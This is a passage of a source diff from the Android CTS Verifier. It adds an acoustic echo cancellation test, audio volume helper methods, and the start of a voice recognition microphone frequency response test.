+                mRMSRecorder2.updateRms(mPipe, 1, 0);
+            }
+        };
+
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+        setInfoResources(R.string.audio_aec_test,
+                R.string.audio_aec_info, -1);
+    }
+
+    private void showView(View v, boolean show) {
+        v.setVisibility(show ? View.VISIBLE : View.INVISIBLE);
+    }
+
+    @Override
+    public void onClick(View v) {
+        int id = v.getId();
+        switch (id) {
+            case R.id.audio_aec_button_test:
+                startTest();
+                break;
+            case R.id.audio_aec_mandatory_no:
+                enableUILayout(mLinearLayout,true);
+                mButtonMandatoryNo.setEnabled(false);
+                mButtonMandatoryYes.setEnabled(false);
+                mMandatory = false;
+                Log.v(TAG,"AEC marked as NOT mandatory");
+                break;
+            case R.id.audio_aec_mandatory_yes:
+                enableUILayout(mLinearLayout,true);
+                mButtonMandatoryNo.setEnabled(false);
+                mButtonMandatoryYes.setEnabled(false);
+                mMandatory = true;
+                Log.v(TAG,"AEC marked as mandatory");
+                break;
+
+        }
+    }
+
+    private void startTest() {
+
+        if (mTestThread != null && mTestThread.isAlive()) {
+            Log.v(TAG,"test Thread already running.");
+            return;
+        }
+        mTestThread = new Thread(new AudioTestRunner(TAG, TEST_AEC, mMessageHandler) {
+            public void run() {
+                super.run();
+
+                StringBuilder sb = new StringBuilder(); //test results strings
+                mTestAECPassed = false;
+                sendMessage(AudioTestRunner.TEST_MESSAGE,
+                        "Testing Recording with AEC");
+
+                //is AEC Available?
+                if (!AcousticEchoCanceler.isAvailable()) {
+                    String msg;
+                    if (mMandatory) {
+                        msg = "Error. AEC not available";
+                        sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
+                    } else {
+                        mTestAECPassed = true;
+                        msg = "Warning. AEC not implemented.";
+                        sendMessage(AudioTestRunner.TEST_ENDED_OK, msg);
+                    }
+                    recordTestResults(mMandatory, 0, 0, msg);
+                    return;
+                }
+
+                int playbackStreamType = AudioManager.STREAM_MUSIC;
+                int maxLevel = getMaxLevelForStream(playbackStreamType);
+                int desiredLevel = maxLevel - 1;
+                setLevelForStream(playbackStreamType, desiredLevel);
+
+                int currentLevel = getLevelForStream(playbackStreamType);
+                if (currentLevel != desiredLevel) {
+                    sendMessage(AudioTestRunner.TEST_ENDED_ERROR,
+                            "Couldn't set level for STREAM_MUSIC. Expected " +
+                                    desiredLevel +" got: " + currentLevel);
+                    return;
+                }
+
+                //Step 1. With AEC (on by Default when using VOICE_COMMUNICATION audio source).
+                mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.speech);
+                mSRecorder.startRecording();
+
+                //get AEC
+                int audioSessionId = mSRecorder.getAudioSessionId();
+                if (mAec != null) {
+                    mAec.release();
+                    mAec = null;
+                }
+                try {
+                    mAec = AcousticEchoCanceler.create(audioSessionId);
+                } catch (Exception e) {
+                    mSRecorder.stopRecording();
+                    String msg = "Could not create AEC Effect. " + e.toString();
+                    sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
+                    recordTestResults(mMandatory, 0, 0, msg);
+                    return;
+                }
+
+                if (mAec == null) {
+                    mSRecorder.stopRecording();
+                    String msg = "Could not create AEC Effect (AEC Null)";
+                    sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
+                    recordTestResults(mMandatory,0, 0, msg);
+                    return;
+                }
+
+                if (!mAec.getEnabled()) {
+                    String msg = "AEC is not enabled by default.";
+                    if (mMandatory) {
+                        mSRecorder.stopRecording();
+                        sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
+                        recordTestResults(mMandatory,0, 0, msg);
+                        return;
+                    } else {
+                        sb.append("Warning. " + msg + "\n");
+                    }
+                }
+
+                mRMSPlayer1.reset();
+                mRMSRecorder1.reset();
+                mSPlayer.play(true);
+                mRMSPlayer1.setRunning(true);
+                mRMSRecorder1.setRunning(true);
+
+                for (int s = 0; s < SHOT_COUNT; s++) {
+                    sleep(SHOT_FREQUENCY_MS);
+                    mRMSRecorder1.captureShot();
+                    mRMSPlayer1.captureShot();
+
+                    sendMessage(AudioTestRunner.TEST_MESSAGE,
+                            String.format("AEC ON. Rec: %.2f dB, Play: %.2f dB",
+                                    20 * Math.log10(mRMSRecorder1.getRmsCurrent()),
+                                    20 * Math.log10(mRMSPlayer1.getRmsCurrent())));
+                }
+
+                mSPlayer.play(false);
+                mRMSPlayer1.setRunning(false);
+                mRMSRecorder1.setRunning(false);
+
+                int lastShot = SHOT_COUNT - 1;
+                int firstShot = SHOT_COUNT - SHOT_COUNT_CORRELATION;
+
+                double maxAEC = computeAcousticCouplingFactor(mRMSPlayer1.getRmsSnapshots(),
+                        mRMSRecorder1.getRmsSnapshots(), firstShot, lastShot);
+                sendMessage(AudioTestRunner.TEST_MESSAGE,
+                        String.format("AEC On: Acoustic Coupling: %.2f", maxAEC));
+
+                //Wait
+                sleep(1000);
+                sendMessage(AudioTestRunner.TEST_MESSAGE, "Testing Recording AEC OFF");
+
+                //Step 2. Turn off the AEC
+                mSPlayer.setSoundWithResId(getApplicationContext(),
+                        R.raw.speech);
+                mAec.setEnabled(false);
+
+                // mSRecorder.startRecording();
+                mRMSPlayer2.reset();
+                mRMSRecorder2.reset();
+                mSPlayer.play(true);
+                mRMSPlayer2.setRunning(true);
+                mRMSRecorder2.setRunning(true);
+
+                for (int s = 0; s < SHOT_COUNT; s++) {
+                    sleep(SHOT_FREQUENCY_MS);
+                    mRMSRecorder2.captureShot();
+                    mRMSPlayer2.captureShot();
+
+                    sendMessage(AudioTestRunner.TEST_MESSAGE,
+                            String.format("AEC OFF. Rec: %.2f dB, Play: %.2f dB",
+                                    20 * Math.log10(mRMSRecorder2.getRmsCurrent()),
+                                    20 * Math.log10(mRMSPlayer2.getRmsCurrent())));
+                }
+
+                mSRecorder.stopRecording();
+                mSPlayer.play(false);
+                mRMSPlayer2.setRunning(false);
+                mRMSRecorder2.setRunning(false);
+
+                double maxNoAEC = computeAcousticCouplingFactor(mRMSPlayer2.getRmsSnapshots(),
+                        mRMSRecorder2.getRmsSnapshots(), firstShot, lastShot);
+                sendMessage(AudioTestRunner.TEST_MESSAGE, String.format("AEC Off: Corr: %.2f",
+                        maxNoAEC));
+
+                //test decision
+                boolean testPassed = true;
+
+                sb.append(String.format(" Acoustic Coupling AEC ON: %.2f <= %.2f : ", maxAEC,
+                        TEST_THRESHOLD_AEC_ON));
+                if (maxAEC <= TEST_THRESHOLD_AEC_ON) {
+                    sb.append("SUCCESS\n");
+                } else {
+                    sb.append("FAILED\n");
+                    testPassed = false;
+                }
+
+                sb.append(String.format(" Acoustic Coupling AEC OFF: %.2f >= %.2f : ", maxNoAEC,
+                        TEST_THRESHOLD_AEC_OFF));
+                if (maxNoAEC >= TEST_THRESHOLD_AEC_OFF) {
+                    sb.append("SUCCESS\n");
+                } else {
+                    sb.append("FAILED\n");
+                    testPassed = false;
+                }
+
+                mTestAECPassed = testPassed;
+
+                if (mTestAECPassed) {
+                    sb.append("All Tests Passed");
+                } else {
+                    if (mMandatory) {
+                        sb.append("Test failed. Please fix issues and try again");
+                    } else {
+                        sb.append("Warning. Acoustic Coupling Levels did not pass criteria");
+                        mTestAECPassed = true;
+                    }
+                }
+
+                recordTestResults(mMandatory, maxAEC, maxNoAEC, sb.toString());
+
+                //compute results.
+                sendMessage(AudioTestRunner.TEST_ENDED_OK, "\n" + sb.toString());
+            }
+        });
+        mTestThread.start();
+    }
+
+    private void recordTestResults(boolean aecMandatory, double maxAEC, double maxNoAEC,
+                                   String msg) {
+
+        getReportLog().addValue("AEC_mandatory",
+                aecMandatory,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        getReportLog().addValue("max_with_AEC",
+                maxAEC,
+                ResultType.LOWER_BETTER,
+                ResultUnit.SCORE);
+
+        getReportLog().addValue("max_without_AEC",
+                maxNoAEC,
+                ResultType.HIGHER_BETTER,
+                ResultUnit.SCORE);
+
+        getReportLog().addValue("result_string",
+                msg,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+    }
+
+    //TestMessageHandler
+    private AudioTestRunner.AudioTestRunnerMessageHandler mMessageHandler =
+            new AudioTestRunner.AudioTestRunnerMessageHandler() {
+        @Override
+        public void testStarted(int testId, String str) {
+            super.testStarted(testId, str);
+            Log.v(TAG, "Test Started! " + testId + " str:"+str);
+            showView(mProgress, true);
+            mTestAECPassed = false;
+            getPassButton().setEnabled(false);
+            mResultTest.setText("test in progress..");
+        }
+
+        @Override
+        public void testMessage(int testId, String str) {
+            super.testMessage(testId, str);
+            Log.v(TAG, "Message TestId: " + testId + " str:"+str);
+            mResultTest.setText("test in progress.. " + str);
+        }
+
+        @Override
+        public void testEndedOk(int testId, String str) {
+            super.testEndedOk(testId, str);
+            Log.v(TAG, "Test EndedOk. " + testId + " str:"+str);
+            showView(mProgress, false);
+            mResultTest.setText("test completed. " + str);
+            if (mTestAECPassed) {
+                getPassButton().setEnabled(true);;
+            }
+        }
+
+        @Override
+        public void testEndedError(int testId, String str) {
+            super.testEndedError(testId, str);
+            Log.v(TAG, "Test EndedError. " + testId + " str:"+str);
+            showView(mProgress, false);
+            mResultTest.setText("test failed. " + str);
+        }
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
index 1893ac2..3b97e37 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
@@ -66,7 +66,7 @@
 
     public void testMaxLevel() {
         AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        int currentLevel =  am.getStreamVolume(AudioManager.STREAM_MUSIC);
+        int currentLevel = am.getStreamVolume(AudioManager.STREAM_MUSIC);
         Log.i(TAG, String.format("Max level: %d curLevel: %d", mMaxLevel, currentLevel));
         if (currentLevel != mMaxLevel) {
             new AlertDialog.Builder(this)
@@ -77,4 +77,38 @@
         }
     }
 
+    public int getMaxLevelForStream(int streamType) {
+        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
+        if (am != null) {
+            return am.getStreamMaxVolume(streamType);
+        }
+        return -1;
+    }
+
+    public void setLevelForStream(int streamType, int level) {
+        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
+        if (am != null) {
+            try {
+                am.setStreamVolume(streamType, level, 0);
+            } catch (Exception e) {
+                Log.e(TAG, "Error setting stream volume: ", e);
+            }
+        }
+    }
+
+    public int getLevelForStream(int streamType) {
+        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
+        if (am != null) {
+            return am.getStreamVolume(streamType);
+        }
+        return -1;
+    }
+
+    public void enableUILayout(LinearLayout layout, boolean enable) {
+        for (int i = 0; i < layout.getChildCount(); i++) {
+            View view = layout.getChildAt(i);
+            view.setEnabled(enable);
+        }
+    }
+
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
new file mode 100644
index 0000000..4017973
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
@@ -0,0 +1,963 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.audio.wavelib.*;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import android.content.Context;
+import android.media.AudioRecord;
+import android.media.MediaRecorder;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+import android.util.Log;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.widget.Button;
+import android.widget.TextView;
+import android.widget.LinearLayout;
+import android.widget.ProgressBar;
+
+/**
+ * Tests Audio built in Microphone response for Voice Recognition audio source feature.
+ */
+public class AudioFrequencyVoiceRecognitionActivity extends AudioFrequencyActivity {
+    private static final String TAG = "VoiceRecognition";
+
+    private static final int TEST_STARTED = 900;
+    private static final int TEST_MESSAGE = 903;
+    private static final int TEST_ENDED = 904;
+    private static final int TEST_ENDED_ERROR = 905;
+    private static final double MIN_FRACTION_POINTS_IN_BAND = 0.5;
+
+    private static final double TONE_RMS_EXPECTED = -22.35; //VOICE_RECOGNITION levels
+    private static final double TONE_RMS_MAX_ERROR = 3.0;
+    private static final double RMS_SMOOTHING_PARAM = 0.9;
+
+    private static final double MAX_VAL = Math.pow(2, 15);
+
+    private static final int SOURCE_TONE = 0;
+    private static final int SOURCE_NOISE = 1;
+
+    private static final int TEST_NONE = -1;
+    private static final int TEST_TONE = 0;
+    private static final int TEST_NOISE = 1;
+    private static final int TEST_USB_BACKGROUND = 2;
+    private static final int TEST_USB_NOISE = 3;
+    private static final int TEST_COUNT = 4;
+
+    private static final int TEST_DURATION_DEFAULT_MS = 2000;
+    private static final int TEST_DURATION_TONE_MS = TEST_DURATION_DEFAULT_MS;
+    private static final int TEST_DURATION_NOISE_MS = TEST_DURATION_DEFAULT_MS;
+    private static final int TEST_DURATION_USB_BACKGROUND_MS = TEST_DURATION_DEFAULT_MS;
+    private static final int TEST_DURATION_USB_NOISE_MS = TEST_DURATION_DEFAULT_MS;
+
+    private static final int BLOCK_SIZE_SAMPLES = 4096;
+    private static final int SAMPLING_RATE = 48000;
+    private static final int RECORD_SOURCE = MediaRecorder.AudioSource.VOICE_RECOGNITION;
+
+    private static final int BANDS_MIC = 3;
+    private static final int BANDS_TONE = 3;
+    private static final int BANDS_BACKGROUND = 3;
+
+    private int mCurrentTest = TEST_NONE;
+    private boolean mTestsDone[] = new boolean[TEST_COUNT];
+    final OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+
+    private Context mContext;
+
+    private LinearLayout mLayoutTestTone;
+    private Button mButtonTestTone;
+    private ProgressBar mProgressTone;
+    private TextView mResultTestTone;
+    private Button mButtonPlayTone;
+
+    private LinearLayout mLayoutTestNoise;
+    private Button mButtonTestNoise;
+    private ProgressBar mProgressNoise;
+    private TextView mResultTestNoise;
+    private Button mButtonPlayNoise;
+
+    private LinearLayout mLayoutTestUsbBackground;
+    private Button mButtonTestUsbBackground;
+    private ProgressBar mProgressUsbBackground;
+    private TextView mResultTestUsbBackground;
+
+    private LinearLayout mLayoutTestUsbNoise;
+    private Button mButtonTestUsbNoise;
+    private ProgressBar mProgressUsbNoise;
+    private TextView mResultTestUsbNoise;
+    private Button mButtonPlayUsbNoise;
+
+    private TextView mGlobalResultText;
+
+    private short[] mAudioShortArray2;
+
+    private SoundPlayerObject mSPlayer;
+    private SoundRecorderObject mSRecorder;
+
+    private DspBufferComplex mC;
+    private DspBufferDouble mData;
+
+    private DspWindow mWindow;
+    private DspFftServer mFftServer;
+    private VectorAverage mFreqAverageTone = new VectorAverage();
+    private VectorAverage mFreqAverageNoise = new VectorAverage();
+    private VectorAverage mFreqAverageUsbBackground = new VectorAverage();
+    private VectorAverage mFreqAverageUsbNoise = new VectorAverage();
+
+    //RMS for tone:
+    private double mRMS;
+    private double mRMSMax;
+
+    private double mRMSTone;
+    private double mRMSMaxTone;
+
+    private AudioBandSpecs[] mBandSpecsMic = new AudioBandSpecs[BANDS_MIC];
+    private AudioBandSpecs[] mBandSpecsTone = new AudioBandSpecs[BANDS_TONE];
+    private AudioBandSpecs[] mBandSpecsBack = new AudioBandSpecs[BANDS_BACKGROUND];
+    private Results mResultsMic;
+    private Results mResultsTone;
+    private Results mResultsBack;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.audio_frequency_voice_recognition_activity);
+        mContext = this;
+
+        mSPlayer = new SoundPlayerObject();
+        playerSetSource(SOURCE_TONE);
+
+        mSRecorder = new SoundRecorderObject(SAMPLING_RATE, BLOCK_SIZE_SAMPLES,
+                RECORD_SOURCE) {
+            @Override
+            public void periodicNotification(AudioRecord recorder) {
+
+                int samplesAvailable = mPipe.availableToRead();
+                int samplesNeeded = BLOCK_SIZE_SAMPLES;
+                if (samplesAvailable >= samplesNeeded) {
+                    mPipe.read(mAudioShortArray2, 0, samplesNeeded);
+
+                    //compute
+                    double maxabs = 0;
+                    int i;
+                    double rmsTempSum = 0;
+
+                    for (i = 0; i < samplesNeeded; i++) {
+                        double value = mAudioShortArray2[i] / MAX_VAL;
+                        double valueabs = Math.abs(value);
+
+                        if (valueabs > maxabs) {
+                            maxabs = valueabs;
+                        }
+
+                        rmsTempSum += value * value;
+                        mData.mData[i] = value;
+                    }
+                    double rms = Math.sqrt(rmsTempSum / samplesNeeded);
+
+                    double total_rms = rms * RMS_SMOOTHING_PARAM + mRMS * (1 - RMS_SMOOTHING_PARAM);
+                    mRMS = total_rms;
+                    if (mRMS > mRMSMax) {
+                        mRMSMax = mRMS;
+                    }
+
+                    //for the current frame, compute FFT and send to the viewer.
+                    //apply window and pack as complex for now.
+                    DspBufferMath.mult(mData, mData, mWindow.mBuffer);
+                    DspBufferMath.set(mC, mData);
+                    mFftServer.fft(mC, 1);
+
+                    double[] magnitude = new double[BLOCK_SIZE_SAMPLES / 2];
+                    for (i = 0; i < BLOCK_SIZE_SAMPLES / 2; i++) {
+                        magnitude[i] = Math.sqrt(mC.mReal[i] * mC.mReal[i] +
+                                mC.mImag[i] * mC.mImag[i]);
+                    }
+
+                    switch (mCurrentTest) {
+                        case TEST_TONE: {
+                            mFreqAverageTone.setData(magnitude, false);
+                            //Update realtime info on screen
+                            mRMSTone = mRMS;
+                            mRMSMaxTone = mRMSMax;
+                            showToneRMS();
+                        }
+                        break;
+                        case TEST_NOISE:
+                            mFreqAverageNoise.setData(magnitude, false);
+                            break;
+                        case TEST_USB_BACKGROUND:
+                            mFreqAverageUsbBackground.setData(magnitude, false);
+                            break;
+                        case TEST_USB_NOISE:
+                            mFreqAverageUsbNoise.setData(magnitude, false);
+                            break;
+                    }
+                }
+            }
+
+            @Override
+            public void markerReached(AudioRecord track) {
+
+            }
+        };
+
+        // Test tone
+        mLayoutTestTone = (LinearLayout) findViewById(R.id.vr_layout_test_tone);
+        mButtonTestTone = (Button) findViewById(R.id.vr_button_test_tone);
+        mButtonTestTone.setOnClickListener(mBtnClickListener);
+        mProgressTone = (ProgressBar) findViewById(R.id.vr_test_tone_progress_bar);
+        mResultTestTone = (TextView) findViewById(R.id.vr_test_tone_result);
+        mButtonPlayTone = (Button) findViewById(R.id.vr_button_play_tone);
+        mButtonPlayTone.setOnClickListener(mBtnClickListener);
+        showWait(mProgressTone, false);
+
+        //Test Noise
+        mLayoutTestNoise = (LinearLayout) findViewById(R.id.vr_layout_test_noise);
+        mButtonTestNoise = (Button) findViewById(R.id.vr_button_test_noise);
+        mButtonTestNoise.setOnClickListener(mBtnClickListener);
+        mProgressNoise = (ProgressBar) findViewById(R.id.vr_test_noise_progress_bar);
+        mResultTestNoise = (TextView) findViewById(R.id.vr_test_noise_result);
+        mButtonPlayNoise = (Button) findViewById(R.id.vr_button_play_noise);
+        mButtonPlayNoise.setOnClickListener(mBtnClickListener);
+        showWait(mProgressNoise, false);
+
+        //USB Background
+        mLayoutTestUsbBackground = (LinearLayout)
+                findViewById(R.id.vr_layout_test_usb_background);
+        mButtonTestUsbBackground = (Button) findViewById(R.id.vr_button_test_usb_background);
+        mButtonTestUsbBackground.setOnClickListener(mBtnClickListener);
+        mProgressUsbBackground = (ProgressBar)
+                findViewById(R.id.vr_test_usb_background_progress_bar);
+        mResultTestUsbBackground = (TextView)
+                findViewById(R.id.vr_test_usb_background_result);
+        showWait(mProgressUsbBackground, false);
+
+        mLayoutTestUsbNoise = (LinearLayout) findViewById(R.id.vr_layout_test_usb_noise);
+        mButtonTestUsbNoise = (Button) findViewById(R.id.vr_button_test_usb_noise);
+        mButtonTestUsbNoise.setOnClickListener(mBtnClickListener);
+        mProgressUsbNoise = (ProgressBar)findViewById(R.id.vr_test_usb_noise_progress_bar);
+        mResultTestUsbNoise = (TextView) findViewById(R.id.vr_test_usb_noise_result);
+        mButtonPlayUsbNoise = (Button) findViewById(R.id.vr_button_play_usb_noise);
+        mButtonPlayUsbNoise.setOnClickListener(mBtnClickListener);
+        showWait(mProgressUsbNoise, false);
+
+        setButtonPlayStatus(-1);
+        mGlobalResultText = (TextView) findViewById(R.id.vr_test_global_result);
+
+        //Init FFT stuff
+        mAudioShortArray2 = new short[BLOCK_SIZE_SAMPLES *2];
+        mData = new DspBufferDouble(BLOCK_SIZE_SAMPLES);
+        mC = new DspBufferComplex(BLOCK_SIZE_SAMPLES);
+        mFftServer = new DspFftServer(BLOCK_SIZE_SAMPLES);
+
+        int overlap = BLOCK_SIZE_SAMPLES / 2;
+
+        mWindow = new DspWindow(DspWindow.WINDOW_HANNING, BLOCK_SIZE_SAMPLES, overlap);
+
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+        setInfoResources(R.string.audio_frequency_voice_recognition_test,
+                R.string.audio_frequency_voice_recognition_info, -1);
+
+        //Init bands for Mic test
+        mBandSpecsMic[0] = new AudioBandSpecs(
+                5, 100,          /* frequency start,stop */
+                20.0, -20.0,     /* start top,bottom value */
+                20.0, -20.0      /* stop top,bottom value */);
+
+        mBandSpecsMic[1] = new AudioBandSpecs(
+                100, 4000,       /* frequency start,stop */
+                6.0, -6.0,     /* start top,bottom value */
+                6.0, -6.0      /* stop top,bottom value */);
+
+        mBandSpecsMic[2] = new AudioBandSpecs(
+                4000, 20000,     /* frequency start,stop */
+                30.0, -30.0,     /* start top,bottom value */
+                30.0, -30.0      /* stop top,bottom value */);
+
+        //Init bands for Tone test
+        mBandSpecsTone[0] = new AudioBandSpecs(
+                5, 900,          /* frequency start,stop */
+                -10.0, -100.0,     /* start top,bottom value */
+                -10.0, -100.0      /* stop top,bottom value */);
+
+        mBandSpecsTone[1] = new AudioBandSpecs(
+                900, 1100,       /* frequency start,stop */
+                10.0, -50.0,     /* start top,bottom value */
+                10.0, -10.0      /* stop top,bottom value */);
+
+        mBandSpecsTone[2] = new AudioBandSpecs(
+                1100, 20000,     /* frequency start,stop */
+                -30.0, -120.0,     /* start top,bottom value */
+                -30.0, -120.0      /* stop top,bottom value */);
+
+      //Init bands for Background test
+        mBandSpecsBack[0] = new AudioBandSpecs(
+                5, 100,          /* frequency start,stop */
+                10.0, -120.0,     /* start top,bottom value */
+                -10.0, -120.0      /* stop top,bottom value */);
+
+        mBandSpecsBack[1] = new AudioBandSpecs(
+                100, 7000,       /* frequency start,stop */
+                -10.0, -120.0,     /* start top,bottom value */
+                -50.0, -120.0      /* stop top,bottom value */);
+
+        mBandSpecsBack[2] = new AudioBandSpecs(
+                7000, 20000,     /* frequency start,stop */
+                -50.0, -120.0,     /* start top,bottom value */
+                -50.0, -120.0      /* stop top,bottom value */);
+
+        mResultsMic = new Results("mic_response", BANDS_MIC);
+        mResultsTone = new Results("tone_response", BANDS_TONE);
+        mResultsBack = new Results("background_response", BANDS_BACKGROUND);
+    }
+
+    private void playerToggleButton(int buttonId, int sourceId) {
+        if (playerIsPlaying()) {
+            playerStopAll();
+        } else {
+            playerSetSource(sourceId);
+            playerTransport(true);
+            setButtonPlayStatus(buttonId);
+        }
+    }
+
+    private class OnBtnClickListener implements OnClickListener {
+        @Override
+        public void onClick(View v) {
+            int id = v.getId();
+            switch (id) {
+            case R.id.vr_button_test_tone:
+                startTest(TEST_TONE);
+                break;
+            case R.id.vr_button_play_tone:
+                playerToggleButton(id, SOURCE_TONE);
+                break;
+            case R.id.vr_button_test_noise:
+                startTest(TEST_NOISE);
+                break;
+            case R.id.vr_button_play_noise:
+                playerToggleButton(id, SOURCE_NOISE);
+                break;
+            case R.id.vr_button_test_usb_background:
+                startTest(TEST_USB_BACKGROUND);
+                break;
+            case R.id.vr_button_test_usb_noise:
+                startTest(TEST_USB_NOISE);
+                break;
+            case R.id.vr_button_play_usb_noise:
+                playerToggleButton(id, SOURCE_NOISE);
+                break;
+            }
+        }
+    }
+
+    private void setButtonPlayStatus(int playResId) {
+        String play = getResources().getText(R.string.af_button_play).toString();
+        String stop = getResources().getText(R.string.af_button_stop).toString();
+
+        mButtonPlayTone.setText(playResId == R.id.vr_button_play_tone ? stop : play);
+        mButtonPlayNoise.setText(playResId == R.id.vr_button_play_noise ? stop : play);
+        mButtonPlayUsbNoise.setText(playResId ==
+                R.id.vr_button_play_usb_noise ? stop : play);
+    }
+
+    private void playerSetSource(int sourceIndex) {
+        switch (sourceIndex) {
+            case SOURCE_TONE:
+                mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.onekhztone);
+                break;
+            default:
+            case SOURCE_NOISE:
+                mSPlayer.setSoundWithResId(getApplicationContext(),
+                        R.raw.stereo_mono_white_noise_48);
+                break;
+        }
+    }
+
+    private void playerTransport(boolean play) {
+        if (!mSPlayer.isAlive()) {
+            mSPlayer.start();
+        }
+        mSPlayer.play(play);
+    }
+
+    private boolean playerIsPlaying() {
+       return mSPlayer.isPlaying();
+    }
+
+    private void playerStopAll() {
+        if (mSPlayer.isAlive() && mSPlayer.isPlaying()) {
+            mSPlayer.play(false);
+            setButtonPlayStatus(-1);
+        }
+    }
+
+    /**
+     * enable test ui elements
+     */
+    private void enableLayout(LinearLayout layout, boolean enable) {
+        for (int i = 0; i < layout.getChildCount(); i++) {
+            View view = layout.getChildAt(i);
+            view.setEnabled(enable);
+        }
+    }
+
+    private void showWait(ProgressBar pb, boolean show) {
+        pb.setVisibility(show ? View.VISIBLE : View.INVISIBLE);
+    }
+
+    private String getTestString(int testId) {
+        String name = "undefined";
+        switch(testId) {
+            case TEST_TONE:
+                name = "BuiltIn_tone";
+                break;
+            case TEST_NOISE:
+                name = "BuiltIn_noise";
+                break;
+            case TEST_USB_BACKGROUND:
+                name = "USB_background";
+                break;
+            case TEST_USB_NOISE:
+                name = "USB_noise";
+                break;
+        }
+        return name;
+    }
+
+    private void showWait(int testId, boolean show) {
+        switch(testId) {
+            case TEST_TONE:
+                showWait(mProgressTone, show);
+                break;
+            case TEST_NOISE:
+                showWait(mProgressNoise, show);
+                break;
+            case TEST_USB_BACKGROUND:
+                showWait(mProgressUsbBackground, show);
+                break;
+            case TEST_USB_NOISE:
+                showWait(mProgressUsbNoise, show);
+                break;
+        }
+    }
+
+    private void showMessage(int testId, String msg) {
+        if (msg != null && msg.length() > 0) {
+            switch(testId) {
+                case TEST_TONE:
+                    mResultTestTone.setText(msg);
+                    break;
+                case TEST_NOISE:
+                    mResultTestNoise.setText(msg);
+                    break;
+                case TEST_USB_BACKGROUND:
+                    mResultTestUsbBackground.setText(msg);
+                    break;
+                case TEST_USB_NOISE:
+                    mResultTestUsbNoise.setText(msg);
+                    break;
+            }
+        }
+    }
+
+    private void computeAllResults() {
+        StringBuilder sb = new StringBuilder();
+
+        boolean allDone = true;
+
+        for (int i = 0; i < TEST_COUNT; i++) {
+            allDone = allDone & mTestsDone[i];
+            sb.append(String.format("%s : %s\n", getTestString(i),
+                    mTestsDone[i] ? "DONE" :" NOT DONE"));
+        }
+
+        if (allDone) {
+            sb.append(computeResults());
+        } else {
+            sb.append("Please execute all tests for results\n");
+        }
+        mGlobalResultText.setText(sb.toString());
+    }
+
+    private void processSpectrum(Results results, AudioBandSpecs[] bandsSpecs, int anchorBand) {
+        int points = results.mValuesLog.length;
+        int bandCount = bandsSpecs.length;
+        int currentBand = 0;
+        for (int i = 0; i < points; i++) {
+            double freq = (double) SAMPLING_RATE * i / (double) BLOCK_SIZE_SAMPLES;
+            if (freq > bandsSpecs[currentBand].mFreqStop) {
+                currentBand++;
+                if (currentBand >= bandCount)
+                    break;
+            }
+
+            if (freq >= bandsSpecs[currentBand].mFreqStart) {
+                results.mAverageEnergyPerBand[currentBand] += results.mValuesLog[i];
+                results.mPointsPerBand[currentBand]++;
+            }
+        }
+
+        for (int b = 0; b < bandCount; b++) {
+            if (results.mPointsPerBand[b] > 0) {
+                results.mAverageEnergyPerBand[b] =
+                        results.mAverageEnergyPerBand[b] / results.mPointsPerBand[b];
+            }
+        }
+
+        //set offset relative to band anchor band level
+        double offset = anchorBand > -1 && anchorBand < bandCount ?
+                results.mAverageEnergyPerBand[anchorBand] : 0;
+        for (int b = 0; b < bandCount; b++) {
+            bandsSpecs[b].setOffset(offset);
+        }
+
+        //test points in band.
+        currentBand = 0;
+        for (int i = 0; i < points; i++) {
+            double freq = (double) SAMPLING_RATE * i / (double) BLOCK_SIZE_SAMPLES;
+            if (freq > bandsSpecs[currentBand].mFreqStop) {
+                currentBand++;
+                if (currentBand >= bandCount)
+                    break;
+            }
+
+            if (freq >= bandsSpecs[currentBand].mFreqStart) {
+                double value = results.mValuesLog[i];
+                if (bandsSpecs[currentBand].isInBounds(freq, value)) {
+                    results.mInBoundPointsPerBand[currentBand]++;
+                }
+            }
+        }
+    }
+
+    private String computeResults() {
+        StringBuilder sb = new StringBuilder();
+
+        int points = mFreqAverageNoise.getSize();
+        //mFreqAverageNoise size is determined by the latest data written to it.
+        //Currently, this data is always BLOCK_SIZE_SAMPLES/2.
+        if (points < 1) {
+            return "error: not enough points";
+        }
+
+        double[] tone = new double[points];
+        double[] noise = new double[points];
+        double[] reference = new double[points];
